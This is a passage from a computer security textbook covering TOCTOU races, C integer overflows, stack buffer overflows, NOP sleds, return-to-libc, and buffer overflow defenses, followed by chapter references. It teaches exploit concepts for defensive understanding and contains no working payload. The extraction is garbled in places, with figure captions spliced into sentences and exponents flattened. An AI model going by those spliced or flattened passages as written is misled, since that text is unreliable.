on all plausible hardware platforms, the lowest-functionality hardware (here, in terms of
CPU modes) constrains all others. The choices are to abandon deployment on the low-
functioning hardware (ceding market share), incur major costs of redesign and support
for multiple software streams across hardware platforms, or reduce software functional-
ity across all platforms. Operating systems custom-built for specific hardware can offer
richer features, but fewer hardware platforms are then compatible for deployment.
5.10. ‡End notes and further reading 151
rings 1, 2
(typically unused in
commodity systems)
Exercise (Platforms supporting more than two modes). Discuss, with technical de-
tails, how many CPU modes, privilege levels, or rings are supported by the ARMv7 pro-
cessor architecture. Likewise discuss for operating systems OpenVMS and OS/2. Do any
versions of Windows support more than two modes?
Dennis [6] is credited for segmented addressing (although protection features of Multics-
style segmentation were designed out of later commercial systems). Graham [14] gives
an authoritative view of protection rings (including early identification of race condition
issues); see also Graham and Denning [13] (which Section 5.9 follows), and Schroeder
and Saltzer [31] for a Multics-specific discussion of hardware-supported rings and related
software issues. Interest in using hardware-supported rings recurs—for example, Lee [20]
leverages unused x86 rings for portable user-space privilege separation.
The 1970 Ware report [37] explored security controls in resource-sharing computer
systems. The 1972 Anderson report [1, pages 8-14] lays out the central ideas of the
reference monitor concept, access matrix, and security kernel; it expressed early concerns
about requiring trust in the entire computer-manufacturing supply chain, and the ability to
determine that “compiler and linkage editors are either certified free from ‘trap-doors’,
or that their output can be checked and verified independently”—attacks later more fully
explained in Thompson’s Turing-award paper [36] detailing C-code for a Trojan horse
compiler. The 1976 RISOS report [21, p.57] defined a security kernel as “that portion
of an operating system whose operation must be correct in order to ensure the security
of the operating system” (cf. Chapter 1, principle of SMALL - TRUSTED - BASES P8). Their
small-size requirement, originally specified as part of the validation mechanism for the
reference monitor, has made microkernels a focus for security kernels (cf. Jaeger above).
These 1970-era reports indicate longstanding awareness of computer security challenges.
Lampson’s 1973 note on the confinement problem [18] raises the subject of untrusted
programs leaking data over covert channels. Gasser’s lucid 1988 book [12], a practi-
tioner’s integrated treatment on how to build secure computer systems, includes discus-
sion of reference monitors, security kernels, segmented virtual memory, MLS/mandatory
access control, and covert channels.
References (Chapter 5)
[1] J. P. Anderson. Computer Security Technology Planning Study (Vol. I and II, “Anderson report”). James
P. Anderson and Co., Fort Washington, PA, USA, Oct 1972.
[2] S. M. Bellovin. Thinking Security: Stopping Next Year’s Hackers. Addison-Wesley, 2016.
[3] H. Chen, D. Wagner, and D. Dean. Setuid demystified. In USENIX Security, 2002.
[4] D. A. Curry. UNIX System Security: A Guide for Users and System Administrators. Addison-Wesley,
1992.
[5] R. C. Daley and P. G. Neumann. A general-purpose file system for secondary storage. In AFIPS Fall
Joint Computer Conference, pages 213–229, Nov 1965.
[6] J. B. Dennis. Segmentation and the design of multiprogrammed computer systems. Journal of the ACM,
12(4):589–602, 1965.
[7] M. S. Dittmer and M. V. Tripunitara. The UNIX process identity crisis: A standards-driven approach
to setuid. In ACM Comp. & Comm. Security (CCS), pages 1391–1402, 2014.
[8] M. Dowd, J. McDonald, and J. Schuh. The Art of Software Security Assessment: Identifying and
Preventing Software Vulnerabilities. Addison-Wesley, 2006.
[9] D. Ferraiolo and R. Kuhn. Role-based access controls. In National Computer Security Conf. (NCSC),
pages 554–563, Oct. 1992.
[10] D. F. Ferraiolo, R. S. Sandhu, S. I. Gavrila, D. R. Kuhn, and R. Chandramouli. Proposed NIST standard
for role-based access control. ACM Trans. Inf. Systems and Security, 4(3):224–274, 2001.
[11] W. Ford and M. J. Wiener. A key distribution method for object-based protection. In ACM Comp. &
Comm. Security (CCS), pages 193–197, 1994.
[12] M. Gasser. Building a Secure Computer System. Van Nostrand Reinhold, 1988. PDF available online.
[13] G. S. Graham and P. J. Denning. Protection—principles and practice. In AFIPS Spring Joint Computer
Conference, pages 417–429, May 1972.
[14] R. M. Graham. Protection in an information processing utility. Comm. ACM, 11(5):365–369, 1968.
Appeared as the first paper, pp.1-5, first ACM Symposium on Operating System Principles, 1967.
[15] A. Gruenbacher. POSIX access control lists on LINUX. In USENIX Annual Technical Conf., pages
259–272, 2003.
[16] T. Jaeger. Operating System Security. Morgan and Claypool, 2008.
[17] P.-H. Kamp and R. N. M. Watson. Jails: Confining the omnipotent root. In System Admin. and Net-
working Conf. (SANE), 2000. Cf. “Building systems to be shared, securely”, ACM Queue, Aug 2004.
[18] B. W. Lampson. A note on the confinement problem. Comm. ACM, 16(10):613–615, 1973.
[19] B. W. Lampson. Protection. ACM Operating Sys. Review, 8(1):18–24, 1974. Originally published in
Proc. 5th Princeton Conf. on Information Sciences and Systems, 1971.
[20] H. Lee, C. Song, and B. B. Kang. Lord of the x86 rings: A portable user mode privilege separation
architecture on x86. In ACM Comp. & Comm. Security (CCS), pages 1441–1454, 2018.
153
154 References (Chapter 5)
[21] T. Linden. Security Analysis and Enhancements of Computer Operating Systems (“RISOS report”),
Apr 1976. NBSIR 76-1041, The RISOS Project, Lawrence Livermore Laboratory, Livermore, CA.
[22] P. Loscocco and S. Smalley. Integrating flexible support for security policies into the Linux operating
system. In USENIX Annual Technical Conf., pages 29–42, 2001. FREENIX Track. Full technical report,
62 pages, available online.
[23] P. A. Loscocco, S. D. Smalley, P. A. Muckelbauer, R. C. Taylor, S. J. Turner, and J. F. Farrell. The
inevitability of failure: The flawed assumption of security in modern computing environments. In
National Info. Systems Security Conf. (NISSC), pages 303–314, 1998.
[24] B. McCarty. SELinux: NSA’s Open Source Security Enhanced Linux. O’Reilly Media, 2004.
[25] E. I. Organick. The Multics System: An Examination of Its Structure. MIT Press (5th printing, 1985),
1972.
[26] D. M. Ritchie and K. Thompson. The UNIX time-sharing system. Comm. ACM, 17(7):365–375, 1974.
[27] J. H. Saltzer. Protection and the control of information sharing in Multics. Comm. ACM, 17(7):388–402,
1974.
[28] J. H. Saltzer and M. F. Kaashoek. Principles of Computer System Design. Morgan Kaufmann, 2010.
[29] J. H. Saltzer and M. D. Schroeder. The protection of information in computer systems. Proceedings of
the IEEE, 63(9):1278–1308, September 1975.
[30] R. S. Sandhu, E. J. Coyne, H. L. Feinstein, and C. E. Youman. Role-based access control models. IEEE
Computer, 29(2):38–47, 1996.
[31] M. D. Schroeder and J. H. Saltzer. A hardware architecture for implementing protection rings. Comm.
ACM, 15(3):157–170, 1972. Earlier version in ACM SOSP, pages 42–54, 1971.
[32] A. Silberschatz, P. B. Galvin, and G. Gagne. Operating System Concepts (seventh edition). John Wiley
and Sons, 2005.
[33] S. Smalley and R. Craig. Security Enhanced (SE) Android: Bringing Flexible MAC to Android. In
Netw. Dist. Sys. Security (NDSS), 2013.
[34] R. Spencer, S. Smalley, P. Loscocco, M. Hibler, D. Andersen, and J. Lepreau. The Flask security
architecture: System support for diverse security policies. In USENIX Security, 1999.
[35] A. S. Tanenbaum. Modern Operating Systems (3rd edition). Pearson Prentice Hall, 2008.
[36] K. Thompson. Reflections on trusting trust. Comm. ACM, 27(8):761–763, 1984.
[37] W. H. Ware (Chair). Security Controls for Computer Systems: Report of Defense Science Board Task
Force on Computer Security. RAND Report R-609-1 (“Ware report”), 11 Feb 1970. Office of Director
of Defense Research and Engineering, Wash., D.C. Confidential; declassified 10 Oct 1975.
[38] R. N. M. Watson and 14 others. CHERI: A hybrid capability-system architecture for scalable software
compartmentalization. In IEEE Symp. Security and Privacy, pages 20–37, 2015.
[39] R. N. M. Watson, J. Anderson, B. Laurie, and K. Kennaway. Capsicum: Practical capabilities for UNIX.
In USENIX Security, pages 29–46, 2010.
[40] C. Wright, C. Cowan, S. Smalley, J. Morris, and G. Kroah-Hartman. Linux security modules: General
security support for the Linux kernel. In USENIX Security, pages 17–31, 2002.
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 6
Software Security—Exploits and Privilege Escalation
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
156
6.1. Race conditions and resolving filenames to resources 157
Figure 6.1: Filesystem TOCTOU race. a) A user process U is permitted to write to a file.
b) The file is deleted, and a new file created with the same name references a resource that
U is notCh.6. Race condi.on (file system TOCTOU, hard link). The user
authorized to write to. The security issue is a permission check made in state a)
process has permissions to access the file in a). The file is then
and relied on later, after change b). See Chapter 5 for filesystem structures.
deleted, and a new file with the same name is created,
Example (Privilege escalation via TOCTOU race). As a concrete Unix example, con-
poin.ng (i.e., hardlinked) to a file that the user does not have
sider P, a root-owned setuid program (Chapter 5) whose tasks include writing to a file
permissions to access.
that the invoking user process U supposedly has write access to. By a historically com-
mon coding pattern, P uses the syscall access() to test whether U’s permissions suffice,
s inode for file of type “symlink” (symbolic link)
and proceeds only if so; this syscall check uses the process’ real UID and GID, e.g., rUID,
whereas open() itself uses the effective UID (eUID, which is root as stated, and thus al-
ways sufficiently privileged). The access test returns 0 for success (failure is -1). Thus
P’s code sequence is:
1: if(access("file",PERMS REQUESTED)==0)then
2: filedescr = open("file", PERMS) /* now proceed to read or write */
But after line 1 and before line 2 executes, an attacker alters the binding between the
filename and what it resolved to in line 1 (see Fig. 6.1). Essentially, the attacker executes:
158 Chapter 6. Software Security—Exploits and Privilege Escalation
Attacks to beware of here are related to principle P19 (REQUEST- RESPONSE - INTEGRITY).
6.2. Integer-based vulnerabilities and C-language issues 159
address bounds on memory structures) and other attacks involving code injection.
F OCUS ON C. We focus on C, as the biggest problems arise in C-family programming
languages (including C++). While some vulnerabilities occur more widely—e.g., integer
overflows (below) occur in Java—C faces additional complications due to its eagerness
to allow operations between different data types (below). Moreover, security issues in C
have wide impact, due to its huge installed base of legacy software from being the histor-
ical language of choice for systems programming, including operating systems, network
daemons, and interpreters for many other languages. Studying C integer-based vulnera-
bilities thus remains relevant for current systems, and is important pedagogically for its
lessons, and to avoid repeating problematic choices in language design.
C CHAR . To begin, consider the C char data type. It uses one byte (8 bits), and
can hold one character. It is viewed as a small integer type and as such, is commonly
used in arithmetic expressions. A char is converted to an int (Table 6.1) before any
arithmetic operation. There are actually three distinct types: signed char, unsigned
char, and char. The C standard leaves it (machine) “implementation dependent” as to
whether char behaves like the first or the second. A char of value 0x80 is read as +128
if an unsigned integer, or −128 if a signed integer—a rather important difference. This
gives an early warning that operations with C integers can be subtle and error-prone.
Bit Range
Data type length unsigned signed
char 8 0..255 −128..127
short int 16 0..65535 −32768..32767
int 16 or 32 0..UINT MAX INT MIN .. INT MAX
long int 32 0..232 − 1 −231 ..231 − 1
long long 64 0..264 − 1 −263 ..263 − 1
Table 6.1: C integer data types (typical sizes). C integer sizes may vary, to accommodate
target machines. Type int must be at least 16 bits and no longer than long. Undeclared
signedness (e.g., int vs. unsigned int) defaults to signed, except for char (which is left
machine-dependent). The C99 standard added exact-length signed (two’s complement)
integer types: intN t, N = 8, 16, 32, 64. For an n-bit int, UINT MAX = 2n − 1.
I NTEGER CONVERSIONS . C has many integer data types (Table 6.1), freely con-
verting and allowing operations between them. This flexibility is alternatively viewed as
dangerous looseness, and C is said to have weak type safety, or be weakly typed. (As
another example of weak type safety in C: it has no native string type.) If an arithmetic
operation has operands of different types, a common type is first arranged. This is done
implicitly by the compiler (e.g., C automatically promotes char and short to int before
arithmetic operations), or explicitly by the programmer (e.g., the C snippet “(unsigned
int) width” casts variable width to data type unsigned int). Unanticipated side ef-
fects of conversions are one source of integer-based vulnerabilities. C’s rule for converting
an integer to a wider type depends on the originating type. An unsigned integer is zero-
6.2. Integer-based vulnerabilities and C-language issues 161
extended (0s fill the high-order bytes); a signed integer is sign-extended (the sign bit is
propagated; this preserves signed values). Conversion to a smaller width truncates high-
order bits. Same-width data type conversions between signed and unsigned integers do
not alter any bits, but change interpreted values.
‡Exercise (C integer type conversion). Build an 8-by-8 table with rows and columns:
s-char, u-char, s-short, u-short, s-int, u-int, s-long, u-long (s- is signed; u- unsigned). As
entries, indicate conversion effects when sources (row headings) are converted to des-
tinations (columns). Mark diagonal entries “same type”. For each other entry include
each of: value (changed, preserved); bit-pattern (changed, preserved); width-impact (sign-
extended, zero-extended, same width, truncated). (Hint: [25, Chapter 6, page 229].)
I NTEGER OVERFLOW IN C. Suppose x is an 8-bit unsigned char. It has range
0..255 (Table 6.1). If it has value 0xFF (255) and is incremented, what value is stored?
We might expect 256 (0x100), but that requires 9 bits. C retains the least significant
8 bits; x is said to wrap around to 0. This is an instance of integer overflow, which
unsurprisingly, leads to programming errors—some exploitable. The issue is “obvious”:
exceeding the range of values representable by a fixed-width data type (and not checking
for or preventing this). Since bounds tests on integer variables often dictate program
branching and looping, this affects control flow. If the value of the variable depends on
program input, a carefully crafted input may alter control flow in vulnerable programs.
Example (Two’s complement). It helps to recall conventions for machine represen-
tation of integers. For an unsigned integer, a binary string bn−1 bn−2 ...b1 b0 is interpreted
as a non-negative number in normal binary radix, with value v = ∑n−1 i
i=0 bi · 2 . For signed
integers, high-order bit bn−1 is a sign bit (1 signals negative). Two’s complement is almost
universally used for signed integers; for example in 4-bit two’s complement (Table 6.3,
page 164), incrementing binary 0111 to 1000 causes the value to wrap from +7 to −8.
Example (Integer overflow: rate-limiting login). Consider the pseudo-code:
handle_login(userid, passwd) % returns TRUE or FALSE
attempts := attempts + 1; % increment failure count
if (attempts <= MAX_ALLOWED) % skip if over limit of 6
{ if pswd_is_ok(userid, passwd) % if password is correct
{ attempts := 0; return(TRUE); } % reset count, allow login
} % else reject login attempt
return(FALSE);
It aims to address online password guessing by rate limiting. Constant MAX ALLOWED (6) is
intended as an upper bound on consecutive failed login attempts, counted by global vari-
able attempts. For illustration, suppose attempts were implemented as a 4-bit signed
integer (two’s complement). After six incorrect attempts, on the next one the counter
increments to 7, the bound test fails, and handle login returns FALSE. However if a per-
sistent guesser continues further, on the next invocation after that, attempts increments
from 7 (binary 0111) to 8 (binary 1000), which as two’s complement is -8 (Table 6.3). The
condition (attempts <= MAX ALLOWED) is now TRUE, so rate limiting fails. Note that a
test to check whether a seventh guess is stopped would falsely indicate that the program
achieved its goal. (While C itself promotes to int, 16 bits or more, the problem is clear.)
162 Chapter 6. Software Security—Exploits and Privilege Escalation
Table 6.2: Integer-based vulnerability categories. UINT, SINT are shorthand for unsigned,
signed integer. Assignment-like conversions occur on integer promotion, casts, function
parameters and results, and arithmetic operations. Table 6.3 reviews two’s complement.
in later use of the integers. Failed sanity checks and logic errors result from variables
having unexpected values. Exploitable vulnerabilities typically involve integer values that
can be influenced by attacker input; many involve malloc(). Common examples follow.
1) Normal indexes (subscripts) within an array of n elements range from 0 to n − 1.
Unexpected subscript values resulting from integer arithmetic or conversions enable
read and write access to unintended addresses. These are memory safety violations.
2) Smaller than anticipated integer values used as the size in memory allocation requests
result in under-allocation of memory. This may enable similar memory safety viola-
tions, including buffer overflow exploits (Section 6.4).
3) An integer underflow (or other crafted input) that results in a negative size-argument
to malloc() will be converted to an (often very large) unsigned integer. This may allo-
cate an enormous memory block, trigger out-of-memory conditions, or return a NULL
pointer (the latter is returned if requested memory is unavailable).
4) A signed integer that overflows to a large negative value may, if compared to an upper
bound as a loop exit condition, result in an excessive number of iterations.
I NTEGER BUG MITIGATION . While ALU flags (page 165) signal when overflows
occur, these flags are not accessible to programmers from the C-language environment.
If programming in assembly language, instructions could be manually inserted immedi-
ately after each arithmetic operation to test the flags and react appropriately (e.g., calling
164 Chapter 6. Software Security—Exploits and Privilege Escalation
warning or exit code). While non-standard, some C/C++ compilers (such as GCC, Clang)
offer compile options to generate such instructions for a subset of arithmetic operations.
A small number of CPU architectures provide support for arithmetic overflows to generate
software interrupts analogous to memory access violations and divide-by-zero. In many
environments, it remains up to developers and their supporting toolsets to find integer
bugs at compile time, or catch and mitigate them at run time. Development environ-
ments and developer test tools can help programmers detect and avoid integer bugs; other
options are binary analysis tools, run-time support for instrumented safety checks, replac-
ing arithmetic machine operations by calls to safe integer library functions, automated
upgrading to larger data widths when needed, and arbitrary-precision arithmetic. None
of the choices are easy or suitable for all environments; specific mitigation approaches
continue to be proposed (Section 6.9). A complication for mitigation tools is that some
integer overflows are intentional, e.g., programmers rely on wrap-around for functional
results such as integer reduction modulo 232 .
C OMMENTS : INTEGER BUGS , POINTERS . We offer a few comments for context.
i) While we can debate C’s choice to favor efficiency and direct access over security,
our challenge is to deal with the consequences of C’s installed base and wide use.
ii) Integer bugs relate to principle P15 (DATATYPE - VALIDATION) and the importance
of validating all program input—in this case arithmetic values—for conformance to
implicit assumptions about their data type and allowed range of values.
iii) How C combines pointers with integer arithmetic, and uses pointers (array bases) with
the subscripting operation to access memory within and outside of defined data struc-
tures, raises memory safety and language design issues beyond P15 (and beyond our
scope). Consequences include buffer overflow exploits (a large part of this chapter).
‡Exercise (Two’s complement representation). Note the following ranges for n-bit
strings: unsigned integer [0, 2n − 1]; one’s complement [−(2n−1 − 1), 2n−1 − 1]; two’s
complement [−2n−1 , 2n−1 − 1]. The n-bit string s = bn−1 bn−2 ...b1 b0 interpreted as two’s
complement has value: v = −bn−1 · 2n−1 + ∑n−2 i
i=0 bi · 2 . a) Verify that this matches the
two’s complement values in Table 6.3. b) Draw a circle as a clock face, but use integers
0 to N − 1 to label its hours (0 at 12 o’clock); this shows how integers mod N wrap from
N − 1 to 0. c) Draw a similar circle, but now use labels 0000 to 1111 on its exterior
and corresponding values 0, +1, ..., +7, −8, −7, ..., −1 on its interior. This explains how
overflow and underflow occur with 4-bit numbers in two’s complement; compare to Table
6.3. d) To add 3 to 4 using this circle, step 3 units around the clock starting from 4. To
add −3 = 1101 (13 if unsigned) to 4, step 13 steps around the clock starting from 4 (yes,
this works [30, §7.4]). This partially explains why the same logic can be used to add
two unsigned, or two two’s complement integers. e) The negative of a two’s complement
number is formed by bitwise complementing its string then adding 1; subtraction may
thus proceed by negating the subtrahend and adding as in part d). Verify that this works
by computing (in two’s complement binary representation): 3 − 4. (Negation of an n-bit
two’s complement number x can also be done by noting: −x = 2n − x.)
‡C ARRY BIT, OVERFLOW BIT. Some overflows are avoidable by software checks
prior to arithmetic operations; others are better handled by appropriate action after an
overflow occurs. Overflow is signaled at the machine level by two hardware flags (bits)
that Arithmetic Logic Units (ALUs) use on integer operations: the carry flag (CF) and
overflow flag (OF). (Aside: the word “overflow” in “overflow flag” names the flag, but the
flag’s semantics, below, differ from the typical association of this word with the events
that set CF.) Informally, CF and OF signal that a result may be “wrong”, e.g., does not
fit in the default target size. Table 6.4 gives examples of setting these flags on addition
and subtraction. (The flags are also used on other ALU operations, e.g., multiplication,
166 Chapter 6. Software Security—Exploits and Privilege Escalation
shifting, truncation, moves with sign extension; a third flag SF, the sign flag, is set if the
most-significant bit of a designated result is 1.) CF is meaningful for unsigned operations;
OF is for signed (two’s complement). CF is set on addition if there is a carry out of the
leftmost (most significant) bit, and on subtraction if there is a borrow into the leftmost
bit. OF is set on addition if the sign bit reverses on summing two numbers of the same
sign, and on subtraction if a negative number minus a positive gives a positive, or a posi-
tive minus a negative gives a negative. The same hardware circuit can be used for signed
and unsigned arithmetic (exercise above); the flags signal (but do not correct) error con-
ditions that may require attention. For example, in Table 6.4’s third line, the flags differ:
CF=1 indicates an alert for the unsigned operation, while OF=0 indicates normal for two’s
complement.
‡Example (GCC option). The compile option -ftrapv in the GCC C compiler is de-
signed to instrument generated object code to test for overflows immediately after signed
integer add, subtract and multiply operations. Tests may, e.g., branch to handler routines
that warn or abort. Such insertions can be single instruction; e.g., on IA-32 architectures,
jo, jc and js instructions jump to a target address if the most recent operation resulted
in, respectively, an overflow (OF), carry (CF), or most-significant bit of 1 (SF).
High memory
Stack automaDc (non-staDc) local vars,
typical buffer
call-by-value parameters,
overflow targets
call frames
dynamically allocated
(under program control) Heap
global data, uniniDalized
BSS
(zeroed on loading)
global data, iniDalized Data
(vars, compiler constants)
program code
Text (read-only, no buffers)
Low memory
Figure 6.3: Common memory layout (user-space processes).
Ch.7. Typical memory layout, user-space. This example layout is used to explain the
basic concepts of memory management exploits involving buffer overflows.
6.3. Stack-based buffer overflows 167
M EMORY LAYOUT ( REVIEW ). We use the common memory layout of Fig. 6.3 to
explain basic concepts of memory management exploits. In Unix systems, environment
variables and command line arguments are often allocated above “Stack” in this figure,
with shared libraries allocated below the “Text” segment. BSS (block started by symbol)
is also called the block storage segment. The data segment (BSS + Data in the figure)
contains statically allocated variables, strings and arrays; it may grow upward with re-
organization by calls to memory management functions.
S TACK USE ON FUNCTION CALLS . Stack-based buffer overflow attacks involve
variables whose memory is allocated from the stack. A typical schema for building stack
frames for individual function calls is given in Fig. 6.4, with local variables allocated on
the stack (other than variables assigned to hardware registers). Reviewing notes from a
background course in operating systems may help augment this summary overview.
High memory
FP: frame pointer pre-call 1. calling func5on pushes args onto stack
SP: stack pointer stack frame of 2. “call” opcode pushes Instruc5on Pointer (IP)
calling func5on as return address, then sets IP to begin
execu5ng code in called func5on
...
stack grows arg2 3. called func5on pushes FP for later recovery
down arg1 4. FP ß SP (so FP points to old FP),
return addr now FP+k = args, FP-k = local vars
FP old FP 5. decrement SP, making stack space for local vars
6. called func5on executes un5l ready to return
local vars of
called func5on 7. called func5on cleans up stack before return
SP (SP ß FP , FP ß old FP popped from stack)
8. “ret” opcode pops return address into IP,
Low memory to resume execu5on back to calling func5on
Figure 6.4: User-space stack and function call sequence (x86 conventions). FP is also
Ch.7. User-space stack events (C func5on calls). The frame pointer may be
called BP (Base Pointer). Register state may also be saved onto the stack (not shown).
called the Base Pointer. Saved register state is typically also stored on
the stack (not shown), e.g., between FP (old) and local vars.
Example (Buffer overflow). With memory layout per Fig. 6.4, and a machine with
4-byte memory words, consider this contrived C function to illustrate concepts:
void myfunction(char *src) /* src is a ptr to a char string */
{ int var1, var2; /* 1 stack word used per integer */
char var3[4]; /* also 1 word for 4-byte buffer */
...
An overflow of arg1 = src
buffer var3 return addr The overwriIen
overwrites higher old FP return address
memory, including: may point back
var1
return addr var2 into injected code or
var3 to any other address
SP
Figure 6.5: Buffer overflow of stack-based local variable.
Ch.7. Overflow of a local variable on the stack.
dress if n is large enough. When myfunction() returns, the Instruction Pointer (Program
Counter) is reset from the return address; if the return address value was overwritten by
the string from src, program control still transfers to the (overwriting) value. Now sup-
pose the string src came from malicious program input—both intentionally longer than
var3, and with string content specifically created (by careful one-time effort) to overwrite
the stack return address with a prepared value. In a common variation, this value is an
address that points back into the stack memory overwritten by the overflow of the stack
buffer itself. The Instruction Pointer then retrieves instructions for execution from the
(injected content of the) stack itself. In this case, if the malicious input (a character string)
has binary interpretation that corresponds to meaningful machine instructions (opcodes),
the machine begins executing instructions specified by the malicious input.
NO - OP SLED . Among several challenges in crafting injected code for stack execution,
one is: precisely predicting the target transfer address that the to-be-executed code will
end up at, and within this same injected input, including that target address at a location
that will overwrite the stack frame’s return address. To reduce the precision needed to
compute an exact target address, a common tactic is to precede the to-be-executed code by
a sequence of machine code NOP (no-operation) instructions. This is called a no-op sled.3
Transferring control anywhere within the sled results in execution of the code sequence
beginning at the end of the sled. Since the presence of a NO - OP sled is a telltale sign of an
attack, attackers may replace literal NOP instructions with equivalent instructions having
no effect (e.g., OR 0 to a register). This complicates sled discovery.
Figure 6.7: Corrupting a function pointer to alter program control flow. How the attacker-
chosen code is selected, or injected into the system, is a separate issue.
...
...
NOP
NOP NOP
NOP NOP
NOP
NOP
...
...
NOP
corrupted to
...
...
...
...
...
func@on
...
arg2 addr(“cmd”) arg1
arg1 addr( exit() ) return addr
return addr addr( system() )
old FP
local vars of
stack stack
exploited fn
SP as modified as viewed by
by a3acker OS and system()
Figure 6.9: Return-to-libc attack on user-space stack. A local stack variable is overflowed
such that the return address becomes that of the library call system(), which will expect
Ch.7. Return-to-libc a3ack using user-space stack. The a3ack overflows a local
a “normal” stack frame upon entry, as per the rightmost frame. If what will be used as
variable on the stack, such that the return address points to the library func@on
the return system(). The system() code expects the usual stack frame above it. The a3ack
address upon completion of system() is also overwritten with the address of the
system callmay wish to over-write what will be used as the return address upon comple@on
exit(), an orderly return will result rather than a likely memory violation error.
of system() with the address of the system call exit(), for an orderly return rather FP
than a likely memory viola@on error. (new)
SP before This
exit() in Figure 6.9, is set to also point to the destination address for the shellcode.
local vars
results in the shellcode being executed on the return from strcpy().
of system()
allocated
6.6 Buffer overflow exploit defenses and adoption barriers
B UFFER OVERFLOW COUNTERMEASURES . Various measures can counter buffer over-
flow attacks. As a general distinction, compile-time techniques reduce the number of vul-
nerabilities by changing software before deployment (e.g., compiler tools flag potential
issues for developers to examine), while others involve run-time mechanisms to prevent
exploitation of vulnerabilities; some defenses combine these. The former often impose ex-
tra work on developers, while the latter incur run-time overhead and changes to run-time
support. Well-known approaches include the following, among a number of others.
1) N ON - EXECUTABLE STACK AND HEAP. Buffer overflow attacks that execute injected
code directly on the stack or heap itself can be stopped if support exists to flag speci-
fied address ranges as non-executable memory. Address ranges assigned to the stack,
heap and BSS can then be marked invalid for loading via the Instruction Pointer (Pro-
gram Counter). More generally, data execution prevention (DEP) techniques may be
provided by hardware (with an NX bit) or software. However, support being available
does not guarantee its use—e.g., due to accommodating backwards compatibility, be-
ing disabled by an attacker, or use of just-in-time (JIT) run-time systems that require
an executable heap. Also, DEP prevents execution but not overwriting of memory
itself, and thus does not stop all attacks involving memory safety violations.
2) S TACK PROTECTION ( RUN - TIME ). Stack canaries are checkwords used to detect
code injection. An extra field is inserted in stack frames just below (at lower address
than) attack targets such as return addresses—in Fig. 6.4, just above the local variables.
A buffer overflow attack that corrupts all memory between the buffer and the return
6.6. Buffer overflow exploit defenses and adoption barriers 173
address will overwrite the canary. A run-time system check looks for an expected (ca-
nary) value in this field before using the return address. If the canary word is incorrect,
an error handler is invoked. Heap canaries work similarly; any field (memory value)
may be protected this way. Related approaches are shadow stacks and pointer protec-
tion (e.g., copying return addresses to OS-managed data areas then cross-checking for
consistency before use; or encoding pointers by XORing a secret mask, so that attacks
that overwrite the pointer corrupt it but cannot usefully modify the control flow).
3) RUN - TIME BOUNDS - CHECKING . Here, compilers instrument code to invoke run-
time support that tracks, and checks for conformance with, bounds on buffers. This
involves compiler support, run-time support, and run-time overhead.
4) M EMORY LAYOUT RANDOMIZATION ( RUN - TIME ). Code injection attacks require
precise memory address calculations, and often rely on predictable (known) memory
layouts on target platforms. To disrupt this, defensive approaches (including ASLR)
randomize the layout of objects in memory, including the base addresses used for run-
time stacks, heaps, and executables including run-time libraries. Some secure heap
allocators include such randomization aspects and also protect heap metadata.
5) T YPE - SAFE LANGUAGES . Operating systems and system software (distinct from
application software) have historically been written in C. Such systems languages al-
low type casting (converting between data types) and unchecked pointer arithmetic
(Section 6.2). These features contribute to buffer overflow vulnerabilities. In con-
trast, strongly-typed or type-safe languages (e.g., Java, C#) tightly control data types,
and automatically enforce bounds on buffers, including run-time checking. A related
alternative is to use so-called safe dialects of C. Programming languages with weak
data-typing violate principle P15 (DATATYPE - VALIDATION).
6) S AFE C LIBRARIES . Another root cause of buffer overflow vulnerabilities in C-
family languages is the manner in which character strings are implemented, and the
system utilities for string manipulation in the standard C library, libc. As a background
reminder for C, character strings are arrays of characters; and by efficiency-driven
convention, the presence of a NUL byte (0x00) defines the end of a character string.
An example of a dangerous libc function is strcpy(s1, s2). It copies string s2 into
string s1, but does no bounds-checking. Thus various proposals promote use of safe
C libraries to replace the historical libc, whose string-handling functions lack bounds-
checks. One approach is to instrument compiler warnings instructing programmers to
use substitute functions; this of course does not patch legacy code.
7) S TATIC ANALYSIS TOOLS ( COMPILE - TIME , BINARIES ). If the vulnerable code
itself did bounds-checking, many buffer overflow errors would be avoided. Thus an
available defense is to train developers to do bounds-checking, and support this by
encouraging use of compile-time tools, e.g., static analysis tools that flag memory
management vulnerabilities in source code for further attention. Binaries can also be
analyzed. (Aside: even if adopted, such tools miss some vulnerabilities, and raise false
alarms. Discussion of dynamic analysis and related approaches is beyond our scope.)
‡Exercise (Control flow integrity). Summarize how compile-time (static) analysis can
174 Chapter 6. Software Security—Exploits and Privilege Escalation
be combined with run-time instrumentation for control flow integrity, stopping program
control transfers inconsistent with compile-time analysis (hint: [1, 2]; cf. [12]).
A DOPTION BARRIERS . The above list of countermeasures to buffer overflow attacks,
while incomplete, suffices to highlight both a wide variety of possible approaches, and the
difficulty of deploying any one of them on a wide basis. The latter is due to fundamental
realities about today’s worldwide software ecosystem, including the following.
i) No single governing body. While some standards groups are influential, no corpora-
tion, country, government, or organization has the power to impose and enforce rules
on all software-based systems worldwide, even if ideal solutions were known.
ii) Backwards compatibility. Proposals to change software platforms or tools that intro-
duce interoperability problems with existing software or cause any in-use programs
to cease functioning, face immediate opposition.
iii) Incomplete solutions. Proposals addressing only a subset of exploitable vulnerabili-
ties, at non-trivial deployment or performance costs, meet cost-benefit resistance.
Clean-slate approaches that entirely stop exploitable buffer overflows in new software are
of interest, but leave us vulnerable to exploitation of widely deployed and still heavily
relied-upon legacy software. The enormous size of the world’s installed base of software,
particularly legacy systems written in vulnerable (page 160) C, C++ and assembler, makes
the idea of modifying or replacing all such software impractical, for multiple reasons:
cost, lack of available expertise, unacceptability of disrupting critical systems. Nonethe-
less, much progress has been made, with various approaches now available to mitigate
exploitation of memory management vulnerabilities, e.g., related to buffer overflows.
‡Exercise (Case study: buffer overflow defenses). Summarize the effectiveness of
selected buffer overflow defenses over the period 1995-2009 (hint: [56]).
system interface for users; graphical user interfaces (GUIs) are an alternative. When a
Unix user logs in from a device (logical terminal), the OS starts up a shell program as a user
process, waiting to accept commands; the user terminal (keyboard, display) is configured
as default input and output channels (stdin, stdout). When the user issues a command
(e.g., by typing a command at the command prompt, or redirecting input from a file), the
shell creates a child process to run a program to execute the command, and waits for the
program to terminate (Fig. 6.10). This proceeds on Unix by calling fork(), which clones
the calling process; the clone recognized as the child (Chapter 5) then calls execve() to
replace its image by the desired program to run the user-requested command. When the
child-hosted task completes, the shell provides any output to the user, and prompts the user
for another command. If the user-entered command is followed by an ampersand “&”, the
forked child process operates in the background and the shell immediately prompts for
another command. For an analogous shell on Windows systems, "cmd.exe" is executed.
